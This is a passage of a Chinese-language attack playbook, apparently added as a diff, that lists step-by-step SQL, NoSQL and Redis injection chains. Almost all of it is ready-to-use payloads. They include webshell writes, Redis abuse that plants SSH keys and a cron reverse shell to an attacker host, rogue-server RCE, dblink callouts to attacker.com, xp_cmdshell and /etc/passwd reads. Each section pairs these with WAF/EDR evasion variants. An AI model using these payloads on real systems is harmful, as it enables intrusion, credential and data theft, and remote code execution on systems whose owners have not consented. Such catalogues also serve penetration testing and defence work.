+ **6. 6. 写入文件** _[linux]_
936
+ _使用COPY写入文件_
937
+ ```
938
+ ' UNION SELECT 'test',COPY (SELECT '<?php system($_GET[c]);?>') TO '/var/www/html/shell.php'--
939
+ ```
940
+
941
+ **WAF/EDR 绕过变体:**
942
+
943
+ **1. 编码绕过**
944
+ _使用chr函数编码_
945
+ ```
946
+ ' UNION SELECT chr(60)||chr(63)||'php system($_GET[c]);'||chr(63)||chr(62),NULL--
947
+ ```
948
+
949
+ ---
950
+
951
+ ### SQLite注入 `sqli-sqlite-basic`
952
+ SQLite数据库注入攻击
953
+ 子类:**SQLite** · tags: `sqli` `sqlite`
954
+
955
+ **前置条件:** SQLite数据库;存在注入点
956
+
957
+ **攻击链:**
958
+
959
+ **1. 1. 探测注入点**
960
+ _探测注入点_
961
+ ```
962
+ ' OR 1=1--
963
+ ' UNION SELECT 1,2,3--
964
+ ' UNION SELECT NULL,NULL,NULL--
965
+ ```
966
+
967
+ **2. 2. 获取版本**
968
+ _获取SQLite版本_
969
+ ```
970
+ ' UNION SELECT sqlite_version(),NULL--
971
+ ```
972
+
973
+ **3. 3. 获取表名**
974
+ _获取所有表名_
975
+ ```
976
+ ' UNION SELECT name,NULL FROM sqlite_master WHERE type='table'--
977
+ ```
978
+
979
+ **4. 4. 获取表结构**
980
+ _获取建表语句_
981
+ ```
982
+ ' UNION SELECT sql,NULL FROM sqlite_master WHERE name='users'--
983
+ ```
984
+
985
+ **5. 5. 读取文件**
986
+ _读取文件(需要扩展)_
987
+ ```
988
+ ' UNION SELECT load_extension('libsqlite3.so'),NULL--
989
+ ' UNION SELECT readfile('/etc/passwd'),NULL--
990
+ ```
991
+
992
+ **WAF/EDR 绕过变体:**
993
+
994
+ **1. SQLite字符编码绕过**
995
+ _使用CHAR()函数构造字符串、X前缀十六进制字面量、typeof()和unicode()进行类型推断盲注绕过WAF_
996
+ ```
997
+ ' UNION SELECT CHAR(116,101,115,116),NULL--
998
+ ' UNION SELECT X'746573746461746131',NULL--
999
+ ' AND typeof(CASE WHEN unicode(substr((SELECT name FROM sqlite_master LIMIT 1),1,1))>96 THEN 1 ELSE 0.0 END)='integer'--
1000
+ ```
1001
+
1002
+ **2. SQLite运算符与函数替代**
1003
+ _使用LIKE/GLOB模式匹配替代等号、instr()替代SUBSTRING、group_concat配合replace混淆数据_
1004
+ ```
1005
+ ' AND (SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%user%')--
1006
+ ' AND (SELECT name FROM sqlite_master WHERE type='table' AND name GLOB '*user*')--
1007
+ ' UNION SELECT replace(group_concat(name,','),'_',''),NULL FROM sqlite_master WHERE type='table'--
1008
+ ' AND instr((SELECT sql FROM sqlite_master LIMIT 1),'password')>0--
1009
+ ```
1010
+
1011
+ ---
1012
+
1013
+ ### MongoDB注入 `sqli-mongodb-basic`
1014
+ NoSQL数据库注入攻击技术
1015
+ 子类:**MongoDB** · tags: `nosql` `mongodb` `injection`
1016
+
1017
+ **前置条件:** 目标使用MongoDB;存在用户输入拼接查询
1018
+
1019
+ **攻击链:**
1020
+
1021
+ **1. 1. 探测注入点**
1022
+ _探测MongoDB注入_
1023
+ ```
1024
+ {"username": "admin", "password": "password"}
1025
+ {"username": "admin", "password": {"$ne": ""}}
1026
+ {"username": "admin", "password": {"$gt": ""}}
1027
+ ```
1028
+
1029
+ **2. 2. 绕过认证**
1030
+ _绕过登录认证_
1031
+ ```
1032
+ {"username": "admin", "password": {"$ne": "wrongpass"}}
1033
+ {"username": {"$ne": ""}, "password": {"$ne": ""}}
1034
+ ```
1035
+
1036
+ **3. 3. 逻辑运算注入**
1037
+ _使用$or逻辑运算_
1038
+ ```
1039
+ {"username": "admin", "password": {"$or": [{"password": "realpass"}, {"1": "1"}]}}
1040
+ ```
1041
+
1042
+ **4. 4. 正则注入**
1043
+ _正则表达式注入_
1044
+ ```
1045
+ {"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
1046
+ ```
1047
+
1048
+ **5. 5. $where注入**
1049
+ _$where子句JavaScript注入_
1050
+ ```
1051
+ {"$where": "this.username == 'admin' && this.password.match(/.*/)"}
1052
+ ```
1053
+
1054
+ **6. 6. 盲注提取数据**
1055
+ _使用正则逐字符提取_
1056
+ ```
1057
+ {"username": {"$regex": "^a"}}
1058
+ {"username": {"$regex": "^ad"}}
1059
+ {"username": {"$regex": "^adm"}}
1060
+ 逐字符枚举用户名
1061
+ ```
1062
+
1063
+ **WAF/EDR 绕过变体:**
1064
+
1065
+ **1. Unicode绕过**
1066
+ _Unicode编码绕过_
1067
+ ```
1068
+ {"username": {"\u0024ne": ""}}
1069
+ 使用Unicode编码$符号
1070
+ ```
1071
+
1072
+ ---
1073
+
1074
+ ### Redis未授权访问 `sqli-redis`
1075
+ Redis未授权访问和命令注入
1076
+ 子类:**Redis** · tags: `redis` `nosql` `injection`
1077
+
1078
+ **前置条件:** Redis服务可访问;未授权或弱密码
1079
+
1080
+ **攻击链:**
1081
+
1082
+ **1. 1. 探测Redis**
1083
+ _探测Redis服务_
1084
+ ```
1085
+ redis-cli -h target.com ping
1086
+ redis-cli -h target.com info
1087
+ ```
1088
+
1089
+ **2. 2. 未授权访问**
1090
+ _未授权访问Redis_
1091
+ ```
1092
+ redis-cli -h target.com
1093
+ > INFO
1094
+ > KEYS *
1095
+ > GET sensitive_key
1096
+ ```
1097
+
1098
+ **3. 3. 写入Webshell** _[linux]_
1099
+ _写入Webshell_
1100
+ ```
1101
+ redis-cli -h target.com
1102
+ > CONFIG SET dir /var/www/html/
1103
+ > CONFIG SET dbfilename shell.php
1104
+ > SET shell "<?php system($_GET['cmd']); ?>"
1105
+ > SAVE
1106
+ ```
1107
+
1108
+ **4. 4. 写入SSH公钥** _[linux]_
1109
+ _写入SSH公钥_
1110
+ ```
1111
+ redis-cli -h target.com
1112
+ > CONFIG SET dir /root/.ssh/
1113
+ > CONFIG SET dbfilename authorized_keys
1114
+ > SET sshkey "ssh-rsa AAAA..."
1115
+ > SAVE
1116
+ ```
1117
+
1118
+ **5. 5. 写入Cron任务** _[linux]_
1119
+ _写入Cron任务_
1120
+ ```
1121
+ redis-cli -h target.com
1122
+ > CONFIG SET dir /var/spool/cron/
1123
+ > CONFIG SET dbfilename root
1124
+ > SET cron "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n\n"
1125
+ > SAVE
1126
+ ```
1127
+
1128
+ **6. 6. 主从复制RCE** _[linux]_
1129
+ _主从复制RCE_
1130
+ ```
1131
+ 使用redis-rogue-server工具:
1132
+ python redis-rogue-server.py --rhost target.com --lhost attacker.com
1133
+ 通过主从复制加载恶意模块执行命令
1134
+ ```
1135
+
1136
+ **WAF/EDR 绕过变体:**
1137
+
1138
+ **1. Redis命令混淆绕过**
1139
+ _使用引号分割命令字符串、拼接变量等方式混淆Redis命令绕过WAF检测_
1140
+ ```
1141
+ redis-cli -h target.com
1142
+ > "C""O""N""F""I""G" SET dir /var/www/html/
1143
+ > $(printf 'CONF')$(printf 'IG') SET dbfilename shell.php
1144
+ > SET shell "<?php system(\$_GET['cmd']); ?>"
1145
+ > SAVE
1146
+ ```
1147
+
1148
+ **2. Redis Lua脚本执行绕过**
1149
+ _通过EVAL执行Lua脚本间接调用Redis命令,绕过对CONFIG/SET等直接命令的检测_
1150
+ ```
1151
+ redis-cli -h target.com
1152
+ > EVAL "redis.call('set','shell','<?php system(\$_GET[c]); ?>')" 0
1153
+ > EVAL "redis.call('config','set','dir','/var/www/html/')" 0
1154
+ > EVAL "redis.call('config','set','dbfilename','test.php')" 0
1155
+ > EVAL "redis.call('save')" 0
1156
+ ```
1157
+
1158
+ ---
1159
+
1160
+ ### 布尔盲注 `sqli-blind`
1161
+ 基于布尔条件的SQL盲注技术
1162
+ 子类:**盲注** · tags: `sqli` `blind` `boolean`
1163
+
1164
+ **前置条件:** 存在SQL注入;页面有真/假两种不同响应
1165
+
1166
+ **攻击链:**
1167
+
1168
+ **1. 1. 确认盲注**
1169
+ _确认布尔盲注_
1170
+ ```
1171
+ ' AND 1=1-- (返回正常)
1172
+ ' AND 1=2-- (返回异常)
1173
+ 确认存在布尔盲注
1174
+ ```
1175
+
1176
+ **2. 2. 获取数据库名长度**
1177
+ _枚举数据库名长度_
1178
+ ```
1179
+ ' AND LENGTH(database())=1--
1180
+ ' AND LENGTH(database())=2--
1181
+ ...
1182
+ ' AND LENGTH(database())=N--
1183
+ 直到返回正常
1184
+ ```
1185
+
1186
+ **3. 3. 逐字符枚举数据库名**
1187
+ _逐字符提取数据库名_
1188
+ ```
1189
+ ' AND ASCII(SUBSTRING(database(),1,1))>97--
1190
+ ' AND ASCII(SUBSTRING(database(),1,1))>100--
1191
+ ...
1192
+ 使用二分法快速定位字符
1193
+ ```
1194
+
1195
+ **4. 4. 使用工具自动化**
1196
+ _使用sqlmap自动化_
1197
+ ```
1198
+ sqlmap -u "http://target.com?id=1" --technique=B --dbs
1199
+ 使用sqlmap进行布尔盲注
1200
+ ```
1201
+
1202
+ **WAF/EDR 绕过变体:**
1203
+
1204
+ **1. 布尔盲注条件表达式替代**
1205
+ _使用CASE WHEN替代IF()、MID()替代SUBSTRING()、LEFT/RIGHT组合截取、BETWEEN替代大于小于比较_
1206
+ ```
1207
+ ' AND (CASE WHEN (MID(database(),1,1)='a') THEN 1 ELSE 0 END)=1--
1208
+ ' AND LEFT(database(),1)>'a'--
1209
+ ' AND RIGHT(LEFT(database(),2),1)='d'--
1210
+ ' AND ORD(MID(database(),1,1))BETWEEN 97 AND 122--
1211
+ ```
1212
+
1213
+ **2. 布尔盲注数学运算与位运算绕过**
1214
+ _使用HEX/CONV进行编码比较、位与运算(&)判断字符范围、POW()数学函数混淆、DIV替代AND_
1215
+ ```
1216
+ ' AND (SELECT CONV(HEX(SUBSTR(database(),1,1)),16,10))>96--
1217
+ ' AND (SELECT ORD(MID(database(),1,1))&0x40)=0x40--
1218
+ ' AND (SELECT POW(ORD(MID(database(),1,1)),0))+0=1--
1219
+ ' DIV 1 AND (SELECT LENGTH(database()))>0--
1220
+ ```
1221
+
1222
+ ---
1223
+
1224
+ ### 时间盲注 `sqli-time-based`
1225
+ 基于时间延迟的SQL盲注技术
1226
+ 子类:**盲注** · tags: `sqli` `blind` `time`
1227
+
1228
+ **前置条件:** 存在SQL注入;页面响应时间可控
1229
+
1230
+ **攻击链:**
1231
+
1232
+ **1. 1. 确认时间盲注**
1233
+ _确认时间盲注_
1234
+ ```
1235
+ ' AND SLEEP(5)--
1236
+ ' AND IF(1=1,SLEEP(5),0)--
1237
+ 观察响应是否延迟5秒
1238
+ ```
1239
+
1240
+ **2. 2. 获取数据库名长度**
1241
+ _枚举数据库名长度_
1242
+ ```
1243
+ ' AND IF(LENGTH(database())=N,SLEEP(5),0)--
1244
+ 枚举数据库名长度
1245
+ ```
1246
+
1247
+ **3. 3. 逐字符提取**
1248
+ _逐字符提取数据_
1249
+ ```
1250
+ ' AND IF(ASCII(SUBSTRING(database(),1,1))>97,SLEEP(5),0)--
1251
+ 使用二分法提取字符
1252
+ ```
1253
+
1254
+ **4. 4. 不同数据库延时函数**
1255
+ _各数据库延时函数_
1256
+ ```
1257
+ MySQL: SLEEP(5), BENCHMARK()
1258
+ MSSQL: WAITFOR DELAY '0:0:5'
1259
+ PostgreSQL: pg_sleep(5)
1260
+ Oracle: DBMS_LOCK.SLEEP(5)
1261
+ ```
1262
+
1263
+ **WAF/EDR 绕过变体:**
1264
+
1265
+ **1. 时间延迟替代函数绕过**
1266
+ _使用BENCHMARK()替代SLEEP()、笛卡尔积重查询消耗时间、GET_LOCK()锁等待、CASE条件触发延时_
1267
+ ```
1268
+ ' AND BENCHMARK(5000000,SHA1('test'))--
1269
+ ' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)--
1270
+ ' AND GET_LOCK('sqli_test',5)--
1271
+ ' AND (CASE WHEN database() LIKE '%' THEN BENCHMARK(3000000,MD5('x')) ELSE 0 END)--
1272
+ ```
1273
+
1274
+ **2. 跨数据库时间延迟绕过**
1275
+ _利用各数据库特有的时间延迟方法:PostgreSQL的pg_sleep条件触发、MSSQL的IF条件WAITFOR、Oracle的DBMS_PIPE.RECEIVE_MESSAGE替代DBMS_LOCK_
1276
+ ```
1277
+ PostgreSQL: ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
1278
+ MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
1279
+ Oracle: ' AND 1=CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END--
1280
+ MySQL: ' AND (SELECT SLEEP(5) FROM DUAL WHERE 1=1)--
1281
+ ```
1282
+
1283
+ ---
1284
+
1285
+ ### 报错注入 `sqli-error-based`
1286
+ 利用错误信息提取数据的SQL注入
1287
+ 子类:**报错注入** · tags: `sqli` `error` `extractvalue`
1288
+
1289
+ **前置条件:** 存在SQL注入;错误信息会显示在页面上
1290
+
1291
+ **攻击链:**
1292
+
1293
+ **1. 1. 确认报错注入**
1294
+ _测试报错注入_
1295
+ ```
1296
+ ' AND extractvalue(1,concat(0x7e,version()))--
1297
+ ' AND updatexml(1,concat(0x7e,version()),1)--
1298
+ ```
1299
+
1300
+ **2. 2. 获取数据库信息**
1301
+ _获取基础信息_
1302
+ ```
1303
+ ' AND extractvalue(1,concat(0x7e,database()))--
1304
+ ' AND extractvalue(1,concat(0x7e,user()))--
1305
+ ' AND extractvalue(1,concat(0x7e,version()))--
1306
+ ```
1307
+
1308
+ **3. 3. 获取表名**
1309
+ _获取表名_
1310
+ ```
1311
+ ' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))--
1312
+ ```
1313
+
1314
+ **4. 4. 获取数据**
1315
+ _提取数据_
1316
+ ```
1317
+ ' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1)))--
1318
+ ```
1319
+
1320
+ **5. 5. 其他报错函数**
1321
+ _其他报错注入方法_
1322
+ ```
1323
+ ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
1324
+ ' AND EXP(~(SELECT * FROM (SELECT version())a))--
1325
+ ```
1326
+
1327
+ **WAF/EDR 绕过变体:**
1328
+
1329
+ **1. 替代报错函数绕过**
1330
+ _使用GEOMETRYCOLLECTION空间函数、JSON_KEYS、ST_LatFromGeoHash等冷门函数替代extractvalue/updatexml触发报错_
1331
+ ```
1332
+ ' AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM (SELECT version())a)b))--
1333
+ ' AND (SELECT 1 FROM (SELECT NTILE(1) OVER(ORDER BY (SELECT version())))a)--
1334
+ ' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,version())) USING utf8)))--
1335
+ ' AND ST_LatFromGeoHash(version())--
1336
+ ```
1337
+
1338
+ **2. 编码与科学计数法绕过**
1339
+ _使用unhex(hex())双层编码、EXP()科学计数法溢出、URL双重编码(%26%26替代AND)绕过WAF检测_
1340
+ ```
1341
+ ' AND extractvalue(1,concat(0x7e,(SELECT unhex(hex(database())))))--
1342
+ ' AND 1=1 AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,database(),0x7e) x)a))--
1343
+ ' AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.schemata GROUP BY x)a)--
1344
+ ' %26%26 updatexml(1,concat(0x7e,(select%20database())),1)--%20
1345
+ ```
1346
+
1347
+ ---
1348
+
1349
+ ### 二阶SQL注入 `sqli-second-order`
1350
+ 存储后触发的SQL注入攻击
1351
+ 子类:**二阶注入** · tags: `sqli` `second-order` `stored`
1352
+
1353
+ **前置条件:** 存在数据存储功能;存储数据被二次使用
1354
+
1355
+ **攻击链:**
1356
+
1357
+ **1. 1. 探测二阶注入**
1358
+ _探测二阶注入点_
1359
+ ```
1360
+ 注册用户名: admin'--
1361
+ 或: admin' OR '1'='1
1362
+ 登录后查看是否影响其他功能
1363
+ ```
1364
+
1365
+ **2. 2. 用户名注入**
1366
+ _用户名触发注入_
1367
+ ```
1368
+ 注册用户: admin' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
1369
+ 登录触发报错注入
1370
+ ```
1371
+
1372
+ **3. 3. 密码重置注入**
1373
+ _密码重置功能注入_
1374
+ ```
1375
+ 输入邮箱: ' OR '1'='1
1376
+ 可能触发密码重置所有用户
1377
+ ```
1378
+
1379
+ **4. 4. 订单/评论注入**
1380
+ _评论触发注入_
1381
+ ```
1382
+ 提交评论: ' UNION SELECT username,password FROM users--
1383
+ 管理员查看评论时触发
1384
+ ```
1385
+
1386
+ **WAF/EDR 绕过变体:**
1387
+
1388
+ **1. 编码存储触发绕过**
1389
+ _在存储阶段使用注释截断(/**/)或CHAR()编码构造payload,WAF在输入时检测不到恶意SQL,但数据库二次使用时自动触发_
1390
+ ```
1391
+ 注册用户名: admin'/*
1392
+ 随后修改密码时SQL变为: UPDATE users SET password='new' WHERE username='admin'/*'
1393
+
1394
+ 注册用户名: CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(49),CHAR(39),CHAR(61),CHAR(39),CHAR(49))
1395
+ 存储后二次使用时自动解码触发注入
1396
+ ```
1397
+
1398
+ **2. Unicode标准化绕过**
1399
+ _利用Unicode全角字符(U+FF07)标准化、转义序列还原、不同功能模块的过滤差异来绕过WAF检测_
1400
+ ```
1401
+ 注册用户名: admin' OR '1'='1
1402
+ (使用全角引号U+FF07,数据库标准化为半角后触发)
1403
+
1404
+ 注册邮箱: test@test.com' UNION SELECT password FROM users WHERE '1'='1
1405
+ (邮箱验证通过WAF但存储后在其他查询中拼接触发)
1406
+
1407
+ 评论内容: \x27 OR 1=1--
1408
+ (转义序列在存储层被还原为单引号)
1409
+ ```
1410
+
1411
+ ---
1412
+
1413
+ ### 联合查询注入 `sqli-union`
1414
+ 使用UNION SELECT提取数据
1415
+ 子类:**联合查询** · tags: `sqli` `union` `select`
1416
+
1417
+ **前置条件:** 存在注入点;可显示查询结果
1418
+
1419
+ **攻击链:**
1420
+
1421
+ **1. 1. 确定列数**
1422
+ _确定列数_
1423
+ ```
1424
+ ' ORDER BY 1--
1425
+ ' ORDER BY 2--
1426
+ ' ORDER BY 3--
1427
+ 直到报错
1428
+ 或:
1429
+ ' UNION SELECT NULL--
1430
+ ' UNION SELECT NULL,NULL--
1431
+ ' UNION SELECT NULL,NULL,NULL--
1432
+ ```
1433
+
1434
+ **2. 2. 确定显示列**
1435
+ _确定显示位置_
1436
+ ```
1437
+ ' UNION SELECT 1,2,3--
1438
+ ' UNION SELECT 'a','b','c'--
1439
+ 找出哪些列会显示在页面上
1440
+ ```
1441
+
1442
+ **3. 3. 提取数据**
1443
+ _提取数据_
1444
+ ```
1445
+ ' UNION SELECT username,password,3 FROM users--
1446
+ ' UNION SELECT table_name,2,3 FROM information_schema.tables--
1447
+ ```
1448
+
1449
+ **4. 4. 绕过过滤**
1450
+ _绕过关键字过滤_
1451
+ ```
1452
+ ' /*!UNION*/ /*!SELECT*/ 1,2,3--
1453
+ ' UnIoN SeLeCt 1,2,3--
1454
+ ' UNION/**/SELECT/**/1,2,3--
1455
+ ```
1456
+
1457
+ **WAF/EDR 绕过变体:**
1458
+
1459
+ **1. UNION注入关键字绕过**
1460
+ _使用MySQL版本注释/*!50000*/、URL编码UNION/SELECT关键字、%23换行绕过、空白字符混淆(%09 TAB, %0d CR, %0b VT)_
1461
+ ```
1462
+ ' /*!50000UNION*/ /*!50000SELECT*/ 1,database(),3--
1463
+ ' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--
1464
+ ' uNiOn%23%0aSeLeCt 1,2,3--
1465
+ ' UNION%0a%09%0d%0bSELECT%0a1,2,3--
1466
+ ```
1467
+
1468
+ **2. UNION注入NULL字节与分块绕过**
1469
+ _使用NULL字节(%00)截断WAF检测、UNION ALL绕过去重检测、HTTP分块传输编码将关键字分散到不同chunk、自定义SEPARATOR替代默认逗号_
1470
+ ```
1471
+ ' UNION%00SELECT 1,2,3--
1472
+ ' /*!UNION*/%20/*!ALL*//*!SELECT*/ 1,2,3--
1473
+ Transfer-Encoding: chunked
1474
+
1475
+ 5
1476
+ UNION
1477
+ 7
1478
+ SELECT
1479
+ 1
1480
+
1481
+ 0
1482
+
1483
+ ' UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3 FROM information_schema.tables WHERE table_schema=database()--
1484
+ ```
1485
+
1486
+ ---
1487
+
1488
+ ### 堆叠查询注入 `sqli-stacked`
1489
+ 执行多条SQL语句的注入
1490
+ 子类:**堆叠查询** · tags: `sqli` `stacked` `queries`
1491
+
1492
+ **前置条件:** 支持多语句执行;MySQL/PostgreSQL/MSSQL
1493
+
1494
+ **攻击链:**
1495
+
1496
+ **1. 1. 探测堆叠查询**
1497
+ _探测是否支持堆叠查询_
1498
+ ```
1499
+ '; SELECT SLEEP(5)--
1500
+ '; SELECT 1--
1501
+ '; WAITFOR DELAY '0:0:5'--
1502
+ ```
1503
+
1504
+ **2. 2. MySQL堆叠查询** _[linux]_
1505
+ _MySQL执行多语句_
1506
+ ```
1507
+ '; INSERT INTO users(username,password) VALUES('hacker','hacked');--
1508
+ '; UPDATE users SET password='hacked' WHERE username='admin';--
1509
+ '; SELECT SLEEP(5);--
1510
+ > ⚠️ 仅验证堆叠注入存在性,严禁 DROP/TRUNCATE/DELETE
1511
+ ```
1512
+
1513
+ **3. 3. MSSQL堆叠查询** _[windows]_
1514
+ _MSSQL执行命令_
1515
+ ```
1516
+ '; EXEC xp_cmdshell('whoami');--
1517
+ '; EXEC sp_executesql N'SELECT * FROM users';--
1518
+ ```
1519
+
1520
+ **4. 4. PostgreSQL堆叠查询** _[linux]_
1521
+ _PostgreSQL读取文件_
1522
+ ```
1523
+ '; COPY users FROM '/etc/passwd';--
1524
+ '; SELECT * FROM pg_read_file('/etc/passwd');--
1525
+ ```
1526
+
1527
+ **WAF/EDR 绕过变体:**
1528
+
1529
+ **1. 堆叠查询终止符替代绕过**
1530
+ _使用URL编码分号(%3B)、换行符分隔、内联注释包裹SELECT、PREPARE预处理执行十六进制编码的查询语句_
1531
+ ```
1532
+ ' %3B SELECT user()--
1533
+ ' ;%0a SELECT user()--
1534
+ ' ; /*!SELECT*/ user()--
1535
+ '; SET @q=0x53454C45435420757365722829; PREPARE stmt FROM @q; EXECUTE stmt;--
1536
+ ```
1537
+
1538
+ **2. 堆叠查询条件执行绕过**
1539
+ _使用字符串拼接分割命令关键字、CHAR()编码命令参数、CASE条件执行、PostgreSQL DO块执行复杂逻辑_
1540
+ ```
1541
+ '; IF(1=1) EXEC('wh'+'oam'+'i');--
1542
+ '; DECLARE @s VARCHAR(100)=CHAR(119)+CHAR(104)+CHAR(111)+CHAR(97)+CHAR(109)+CHAR(105); EXEC xp_cmdshell @s;--
1543
+ '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) END;--
1544
+ '; DO $$ BEGIN PERFORM dblink_connect('host=attacker.com dbname=test'); END $$;--
1545
+ ```
1546
+
1547
+ ---
1548
+
1549
+ ### SQL注入WAF绕过 `sqli-waf-bypass`
1550
+ 绕过Web应用防火墙的技术
1551
+ 子类:**WAF绕过** · tags: `sqli` `waf` `bypass`
1552
+
1553
+ **前置条件:** 目标存在SQL注入点;存在WAF防护
1554
+
1555
+ **攻击链:**
1556
+
1557
+ **1. 分块传输编码**
1558
+ _利用分块传输绕过WAF检测_
1559
+ ```
1560
+ Transfer-Encoding: chunked
1561
+
1562
+ 2
1563
+ id
1564
+ 1
1565
+ =
1566
+ 1
1567
+ 1
1568
+
1569
+ 0
1570
+ ```
1571
+
1572
+ **2. HTTP参数污染(HPP)**
1573
+ _利用HPP拆分恶意Payload_
1574
+ ```
1575
+ ?id=1&id=UNION&id=SELECT&id=1,2,3--
1576
+ ```
1577
+
1578
+ **3. 等价函数替换**
1579
+ _使用GREATEST替代>符号_
1580
+ ```
1581
+ ' AND GREATEST(1,0)--
1582
+ ```
1583
+
1584
+ **4. 无逗号注入**
1585
+ _不使用逗号进行联合查询_
1586
+ ```
1587
+ ' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c--
1588
+ ```
1589
+
1590
+ **5. IBM/Oracle特有**
1591
+ _利用特定数据库特性绕过通用规则_
1592
+ ```
1593
+ ' UNION SELECT CAST(1 AS VARCHAR(10)) FROM dual--
1594
+ ```
1595
+
1596
+ **6. 垃圾数据填充**
1597
+ _超长数据溢出WAF缓冲区 (示意代码)_
1598
+ ```
1599
+ /* !50000AAAAAAAAAA...(1000+字节垃圾数据)...*/ UNION SELECT 1,2,3--
1600
+ ```
1601
+
1602
+ **7. Content-Type欺骗**
1603
+ _利用multipart绕过检测_
1604
+ ```
1605
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
1606
+
1607
+ ------WebKitFormBoundary
1608
+ Content-Disposition: form-data; name="id"
1609
+
1610
+ 1 UNION SELECT 1,2,3--
1611
+ ------WebKitFormBoundary--
1612
+ ```
1613
+
1614
+ **8. JSON注入**
1615
+ _在JSON数据中注入_
1616
+ ```
1617
+ {"id": "1' UNION SELECT 1,2,3--"}
1618
+ ```
1619
+
1620
+ ---